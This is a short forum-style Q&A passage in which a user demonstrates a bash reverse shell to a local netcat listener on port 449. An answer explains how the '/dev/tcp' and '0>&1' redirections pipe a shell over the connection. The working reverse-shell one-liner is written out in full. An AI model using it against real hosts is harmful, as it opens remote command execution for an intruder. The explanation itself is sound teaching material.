I have a listener running on localhost for port 449 using netcat.
In a separate terminal also running on localhost I can run the following command:
bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1"
I am then able to enter commands through the netcat connection and they execute successfully. I can break down the above command and I am able to see that the bash shell above writes its stderr and stdout to the socket file descriptor, which is sent to my machine and ends up listened to by netcat. Additionally, I can see that the standard input is send to standard output, and is then executed by the outer bash command.
A few questions on this:
Outer bash only launch inner bash, and cannot take commands after that. So you can run directly inner bash :
bash -i >&/dev/tcp/127.0.0.1/449 0>&1
>&/dev/tcp/127.0.0.1/449
redirects stdout and stderr to TCP connection.
0>&1
redirects stdin to the same connection.